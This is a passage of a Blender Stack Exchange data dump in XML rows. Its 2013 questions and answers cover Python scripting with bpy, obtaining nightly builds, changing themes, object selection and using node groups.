  <row Id="3437" PostTypeId="1" AcceptedAnswerId="3480" CreationDate="2013-10-21T18:27:20.117" Score="2" ViewCount="1768" Body="&lt;p&gt;In the api documentation there is a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.context.html#bpy.context.material&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context.material&lt;/code&gt;&lt;/a&gt;.&lt;br&gt;&#xA;However, when I type &lt;code&gt;bpy.context.m&lt;/code&gt; and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; in the &lt;em&gt;Python console&lt;/em&gt; it completes to &lt;code&gt;bpy.context.mode&lt;/code&gt;, suggesting that there are no attributes of &lt;code&gt;bpy.context&lt;/code&gt; that begin with &lt;code&gt;m&lt;/code&gt; besides &lt;code&gt;mode&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is &lt;code&gt;bpy.context.material&lt;/code&gt; and how can I access it?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-22T23:26:54.363" LastActivityDate="2013-10-25T19:05:41.297" Title="Where is bpy.context.material?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3438" PostTypeId="1" AcceptedAnswerId="3440" CreationDate="2013-10-21T19:08:02.843" Score="17" ViewCount="4651" Body="&lt;p&gt;I know that &lt;a href=&quot;http://www.blender.org/download/get-blender/&quot;&gt;Blender.org&lt;/a&gt; provides downloads for official releases. I see on forums that people use newer versions of Blender. Where can I get newer version of Blender (nightly builds, alpha versions... etc).&lt;/p&gt;&#xA;" OwnerUserId="1467" LastEditorUserId="55" LastEditDate="2015-02-02T08:33:10.683" LastActivityDate="2017-10-28T09:31:35.383" Title="Where can I get Blender test builds?" Tags="&lt;versions&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" CommunityOwnedDate="2013-10-25T14:03:48.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="3439" PostTypeId="2" ParentId="3438" CreationDate="2013-10-21T19:10:13.933" Score="19" Body="&lt;h1&gt;GIT/Development builds:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;the actual blender buildbot&quot;&gt;The Buildbot:&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;There is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Buildbot&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;wikipedia page for what a buildbot is&quot;&gt;buildbot&lt;/a&gt; that builds from the &lt;a href=&quot;https://developer.blender.org/diffusion/B/&quot; rel=&quot;nofollow noreferrer&quot;&gt;git repo&lt;/a&gt; daily. You can get git (development) builds for all operating systems that blender supports &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;the actual buildbot&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compile from source:&lt;/strong&gt;&lt;br&gt;&#xA;Another option is compiling blender from source, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;. &lt;em&gt;While this may seem like a lot of effort, once its setup, it can be less trouble then having to continually download large files, and you can test new features minutes after they're committed.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Release candidates:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can get past releases and current test-builds/release candidates &lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Linux:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are some additional options for linux besides GraphicAll.org and the ones listed above.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ubuntu:&lt;/strong&gt;&lt;br&gt;&#xA;You can use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Personal_Package_Archive&quot; rel=&quot;nofollow noreferrer&quot;&gt;PPA&lt;/a&gt; such as the &lt;a href=&quot;https://launchpad.net/~irie/+archive/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;irie PPA&lt;/a&gt;. (See &lt;a href=&quot;https://askubuntu.com/a/169546/183331&quot;&gt;this question&lt;/a&gt; on AskUbuntu for instructions)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Archlinux:&lt;/strong&gt;&lt;br&gt;&#xA;The &lt;code&gt;blender-git&lt;/code&gt; package in the &lt;a href=&quot;https://aur.archlinux.org/packages/blender-git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AUR&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2015-02-02T08:36:00.483" CommentCount="2" CommunityOwnedDate="2013-10-25T14:03:48.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="3440" PostTypeId="2" ParentId="3438" CreationDate="2013-10-21T19:11:08.160" Score="14" Body="&lt;p&gt;You can get daily builds for Linux, Windows and Mac from &lt;a href=&quot;http://GraphicAll.org&quot;&gt;graphicall.org&lt;/a&gt;. Here you can also find GSOC and custom builds (Yafaray, Luxrender support etc). &lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="55" LastEditDate="2015-02-02T08:31:38.037" LastActivityDate="2015-02-02T08:31:38.037" CommentCount="0" CommunityOwnedDate="2013-10-25T14:03:48.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="3441" PostTypeId="1" AcceptedAnswerId="3460" CreationDate="2013-10-21T19:21:09.853" Score="15" ViewCount="23427" Body="&lt;p&gt;I am only just starting to learn/use python in blender.  I have the following script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.data.objects:&#xA;&#xA;    if obj.name[0:4] == &quot;Text&quot; and obj.type == &quot;MESH&quot;:&#xA;&#xA;        bpy.context.scene.objects.active = obj&#xA;        bpy.ops.object.mode_set(mode = 'EDIT')&#xA;        print(bpy.context.mode)&#xA;&#xA;&#xA;        #bpy.ops.mesh.select_all(action = 'SELECT')&#xA;        #print(bpy.ops.mesh.remove_doubles(0.0001))&#xA;        bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to work out why I keep getting a context error for bpy.ops.mesh.select_all so I added the &lt;code&gt;print(bpy.context.mode)&lt;/code&gt; line and commented out the line that was failing (plus the next line which takes action)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I get in the console (this script is being run from the console rather than run in place) is a mixture of 'OBJECT' and 'EDIT_MESH' outputs.. suggesting that mode_set is failing a lot of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender 2.68a on Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; I discovered the actual cause of my issue (hinted at by Adhi's edit) and wanted to add it to my post so that others can take something away from this - the objects that were not being switched into edit mode were on another layer.  Once I made all layers active my script was able to switch all objects into edit mode.  So basically an object in an unselected layer cannot be set into edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also grateful for the other help and suggestions, they have been useful to help me learn python scripting within blender which is something I would love to use more extensively.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-10-23T18:15:56.747" LastActivityDate="2017-08-08T09:56:07.270" Title="Setting objects into edit mode often seems to fail in python script" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3442" PostTypeId="1" AcceptedAnswerId="3444" CreationDate="2013-10-21T19:31:27.300" Score="13" ViewCount="25217" Body="&lt;p&gt;I just downloaded blender and its very bright. I want it darker. How can I change the color of it?&lt;/p&gt;&#xA;" OwnerUserId="1467" LastEditorUserId="12" LastEditDate="2013-10-22T03:18:15.737" LastActivityDate="2019-09-07T22:20:43.807" Title="How can I change Blender's theme?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3443" PostTypeId="2" ParentId="3442" CreationDate="2013-10-21T19:32:10.300" Score="5" Body="&lt;p&gt;You can customize the color of pretty much everything in &lt;em&gt;File &gt; User preferences &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Themes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Themes&lt;/a&gt;&lt;/em&gt; (you can also open the &lt;em&gt;User preferences&lt;/em&gt; by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Themes&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The colors for each editor can be set separately—simply select the editor you wish to change in the multi-choice list at the left, and&#xA;  adjust colors as required. Notice that changes appear in real-time on&#xA;  your screen. In addition, details such as the dot size in the 3D View&#xA;  or the Graph Editor can also be changed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Themes use blenders preset system, you can save a theme to an XML and install it on another system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You may want to try using some of the presets that come with blender, or some user made ones.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Using presets&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can select a preset in &lt;em&gt;User preferences &gt; Themes &gt; Presets&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4IDhA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install new theme presets stored in the &lt;code&gt;XML&lt;/code&gt; format by pressing &lt;em&gt;Install theme&lt;/em&gt; on the header and navigating to the &lt;code&gt;XML&lt;/code&gt; preset file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYaNB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some themes not included in blender yet are &lt;a href=&quot;http://sourceforge.net/p/blenderpython/code/HEAD/tree/scripts_library/scripts/presets/interface_theme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also create and delete your own presets by pressing the &lt;kbd&gt;+&lt;/kbd&gt; and &lt;kbd&gt;-&lt;/kbd&gt;&#xA;buttons next to the &lt;em&gt;Presets&lt;/em&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;XML&lt;/code&gt; Preset files are stored in &lt;code&gt;/$blender_directory/$blender_version/scripts/presets/interface_theme/&lt;/code&gt;&lt;br&gt;&#xA;For more information on where &lt;code&gt;$blender_directory&lt;/code&gt; might be see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender can be installed system wide or run from an extracted bundled&#xA;  with all necessary files contained.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are 3 different directories blender may use, their exact&#xA;  locations are operating system dependent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that there are some &lt;em&gt;Contrib&lt;/em&gt; theme presets (see &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241510-Updated-Interface-Theme-Presets!&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt; for a list) that only come with SVN builds and are not included in the releases. You can get them from the &lt;code&gt;interface_theme&lt;/code&gt; directory of a development build, or &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/contrib/py/scripts/addons/presets/interface_theme/&quot; rel=&quot;nofollow noreferrer&quot;&gt;directly from the SVN repo&lt;/a&gt;. With the latter method you might get a security warning, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Tools/SVN_checkout_and_usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You will probably see an error message about the certificate that is&#xA;  not issued by a trusted authority. However the certificate is fully&#xA;  functional and will ensure secure transit of the data. You can&#xA;  permanently accept this certificate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-21T22:23:32.513" LastActivityDate="2013-10-21T22:23:32.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3444" PostTypeId="2" ParentId="3442" CreationDate="2013-10-21T19:34:01.453" Score="13" Body="&lt;p&gt;What you want to change is the &lt;em&gt;theme&lt;/em&gt;.&#xA;Here is how its done. Open your user preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;.&lt;sup&gt;1&lt;/sup&gt; Then one the top you will see a couple of tabs one of the labelled &lt;em&gt;Themes&lt;/em&gt; Then one the left from the drop down you can select a different theme. If you want a darker theme try &lt;em&gt;Elysium&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIMmV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8P4p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZlyh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PY0GQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more themes you can get them here:&#xA;&lt;a href=&quot;https://www.blendswap.com/blends/category/22&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blendswap.com/blends/category/22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;: &lt;kbd&gt;CMD&lt;/kbd&gt;+&lt;kbd&gt;,&lt;/kbd&gt; on Mac. Edit menu -&gt; Preferences in newer versions. &lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="79345" LastEditorDisplayName="user320" LastEditDate="2019-09-07T22:20:43.807" LastActivityDate="2019-09-07T22:20:43.807" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3445" PostTypeId="1" CreationDate="2013-10-02T14:37:00.397" Score="5" ViewCount="1247" Body="&lt;p&gt;I'm still very new to Blender, but I'm trying to get a custom menu up and running.&#xA;I followed the video tutorial on Blender Cookie and works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a button that will move and object to the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as followed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    row = layout.row()&#xA;    row.operator(&quot;transform.resize&quot;, text=&quot;Scale&quot;)&#xA;    row = layout.row()&#xA;    row.operator(&quot;context.active_object.location=(0,0,0)&quot;, text=&quot;Orgin&quot;)&#xA;    row = layout.row()&#xA;    row.operator(&quot;transform.translate(value=(0,0,0))&quot;, text=&quot;Orgin&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;Scale&quot; button works so I know something somewhat works. The other two buttons do not show up. I was trying to see what move commands work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the commands independently in the console and they work... just not in button form.&lt;/p&gt;&#xA;" OwnerDisplayName="user2839067" LastEditorUserId="12" LastEditDate="2013-10-22T04:16:19.180" LastActivityDate="2013-12-10T08:21:46.137" Title="Python buttons not appearing in Blender" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3446" PostTypeId="1" CreationDate="2013-10-21T19:42:02.333" Score="12" ViewCount="2695" Body="&lt;p&gt;I am trying to select the cube that in the middle of the scene. How can I select it? All I see is a crosshair appearing everywhere I click. Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="1467" LastEditorUserId="372" LastEditDate="2013-10-21T23:20:20.570" LastActivityDate="2020-10-21T16:38:38.130" Title="How do I select an object in the 3D viewport?" Tags="&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3447" PostTypeId="2" ParentId="3446" CreationDate="2013-10-21T19:42:40.490" Score="14" Body="&lt;p&gt;That circle/crosshair is the &lt;a href=&quot;http://blendersushi.blogspot.com/2011/07/ui-that-pesky-3d-cursor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;3D cursor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To select you need to &lt;em&gt;Right click&lt;/em&gt; instead of &lt;em&gt;Left click&lt;/em&gt;.&lt;br /&gt;&#xA;You can change this behavior in &lt;em&gt;File &amp;gt; User Preferences&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) &lt;em&gt;&amp;gt; Input&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the &lt;em&gt;User Preferences&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1sw6o.png&quot; alt=&quot;File &amp;gt; User prefs&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Input&lt;/em&gt; tab. The select left/right options are under &lt;em&gt;Mouse&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vX69d.png&quot; alt=&quot;Set preferences&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;If you want to save these settings as the default for the next time you open blender, click  &lt;em&gt;Save User Settings&lt;/em&gt; in the &lt;em&gt;Header&lt;/em&gt; (at the bottom of the window):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pc06F.png&quot; alt=&quot;Save user settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is one of the most controversial parts of blenders UI.&lt;/p&gt;&#xA;&lt;p&gt;For some further information you might want to check out:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2013/09/26/fixing-blender-part-1-why-its-broken/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Fixing Blender – Part 1: Why It’s Broken&amp;quot; by Andrew Price&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/75992488&quot; rel=&quot;nofollow noreferrer&quot;&gt;This video&lt;/a&gt; by Sebastian König explaining some advantages to using RMB to select&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2013/10/03/fixing-blender-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Fixing Blender – Part 2&amp;quot; by Andrew Price&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2013/10/07/podcast-jonathan-williamson-and-andrew-price-discuss-blenders-interface/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This 3 hour discussion about Blender's interface&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2013/10/17/new-blender-ui-proposal/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;New Blender UI Proposal&amp;quot; by Andrew Price&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/selecting.html#selecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;The manual on object selection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T16:38:38.130" LastActivityDate="2020-10-21T16:38:38.130" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="3448" PostTypeId="1" CreationDate="2013-10-21T19:49:14.510" Score="0" ViewCount="44" Body="&lt;p&gt;I have two .blend files and each one has materials library. How can I have the both materials libraries in ONE .blend file?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="12" LastEditDate="2013-10-21T19:53:17.460" LastActivityDate="2013-10-21T19:53:17.460" Title="How can I use a material from one blend file in another?" Tags="&lt;blend-files&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-10-21T19:53:22.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="3452" PostTypeId="1" AcceptedAnswerId="3453" CreationDate="2013-10-21T20:07:09.677" Score="11" ViewCount="2081" Body="&lt;p&gt;Is it possible to add a new button to an existing panel or an existing node that runs a custom operator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2020-05-26T23:03:11.407" Title="Is it possible to add a button to an existing panel or node with python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3453" PostTypeId="2" ParentId="3452" CreationDate="2013-10-21T20:14:08.037" Score="16" Body="&lt;p&gt;Yes. You need to find the class that defines that panel (usually pretty easy to do by right-clicking a button or setting in the panel and choosing &lt;em&gt;Edit Source&lt;/em&gt;). From there, you just need to define a function and append it to that class. As an example, I do this in my &lt;a href=&quot;https://github.com/Fweeb/blender_render_music&quot; rel=&quot;nofollow noreferrer&quot;&gt;Render Music&lt;/a&gt; add-on (in &lt;code&gt;__init__.py&lt;/code&gt;, starting at line 82). Below is the relevant example that adds two checkboxes (properties defined by the add-on) to the Render Panel (&lt;code&gt;RENDER_PT_render&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def render_panel(self, context):&#xA;    user_prefs = context.user_preferences&#xA;    addon_prefs = user_prefs.addons[__package__].preferences&#xA;&#xA;    layout = self.layout&#xA;    layout.prop(addon_prefs, &quot;use_play&quot;)&#xA;    layout.prop(addon_prefs, &quot;use_end&quot;)&#xA;&#xA;&#xA;# Registration&#xA;&#xA;def register():&#xA;    bpy.types.RENDER_PT_render.append(render_panel)&#xA;&#xA;# Unregistration&#xA;&#xA;def unregister():&#xA;    bpy.types.RENDER_PT_render.remove(render_panel)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastEditorUserId="97366" LastEditDate="2020-05-26T23:03:11.407" LastActivityDate="2020-05-26T23:03:11.407" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3454" PostTypeId="2" ParentId="3441" CreationDate="2013-10-21T20:35:15.550" Score="4" Body="&lt;p&gt;I, too, have had issues in the past using the mesh &lt;code&gt;select_all&lt;/code&gt; operator from within Edit mode. As an alternative, try looping through all of the vertices and setting their &lt;code&gt;select&lt;/code&gt; property to &lt;code&gt;True&lt;/code&gt;. Then, switch into Edit mode before doing the Remove Doubles operator. Your code should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.data.objects:&#xA;&#xA;    if obj.name[0:4] == &quot;Text&quot; and obj.type == 'MESH':&#xA;&#xA;        bpy.context.scene.objects.active = obj&#xA;        for vert in obj.vertices:&#xA;            vert.select = True&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        bpy.ops.mesh.remove_doubles(threshold=0.0001)&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastEditorUserId="1363" LastEditDate="2013-10-22T13:13:26.773" LastActivityDate="2013-10-22T13:13:26.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3455" PostTypeId="1" CreationDate="2013-10-21T20:42:21.630" Score="9" ViewCount="2697" Body="&lt;p&gt;I am new to Blender. How can I apply some material included in a &lt;a href=&quot;http://www.blendswap.com/blends/view/70570&quot;&gt;node-pack library&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="29" LastEditDate="2013-10-21T21:06:26.427" LastActivityDate="2020-06-24T23:09:12.137" Title="How can I apply some material included in a node-pack library?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3456" PostTypeId="2" ParentId="3455" CreationDate="2013-10-21T20:47:14.400" Score="8" Body="&lt;p&gt;Those are &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/shader_nodes/groups.html?#node-groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Node groups&lt;/em&gt;&lt;/a&gt;. Node groups are node setups can take input to give an output with which you can use in other nodes. (Think of it like making a new node of many nodes put together, similar to a &lt;em&gt;function&lt;/em&gt; in computer programming.) This also allows you to create a node setup then use it in many places.&lt;/p&gt;&#xA;&lt;p&gt;The collection of node groups you linked to is made up of &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/shader_nodes/index.html#shader-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Shader&lt;/em&gt; nodes&lt;/a&gt; and &lt;a href=&quot;https://docs.blender.org/manual/en/dev/compositing/index.html#node-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compositing&lt;/em&gt; nodes&lt;/a&gt;. The author of the collection you linked to also explains the function of each node group &lt;a href=&quot;https://bwide.wordpress.com/node-groups/bwide-nodepack-for-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Adding a node group to your blendfile:&lt;/h1&gt;&#xA;&lt;p&gt;You can use them in your own file &lt;em&gt;Appending&lt;/em&gt; them. You can do this by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;&lt;em&gt;&amp;gt; append&lt;/em&gt;, then navigating to the blendfile with the nodegroups which you want to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ond7H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pick the type of data to append, in this case we want &lt;em&gt;Node groups&lt;/em&gt; so pick &lt;em&gt;NodeTree&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pfx9R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select the node group you want to import into your file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kh794.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/81/599&quot;&gt;this question&lt;/a&gt; for more information on appending and linking.&lt;/p&gt;&#xA;&lt;p&gt;You can now add this node group to your own node tree.&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;em&gt;Node editor&lt;/em&gt;, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Add node &amp;gt; Group&lt;/em&gt; and select the appended node group:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ElgPn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You now have a new &amp;quot;node&amp;quot; which you can use in your node tree the same way you would use any normal 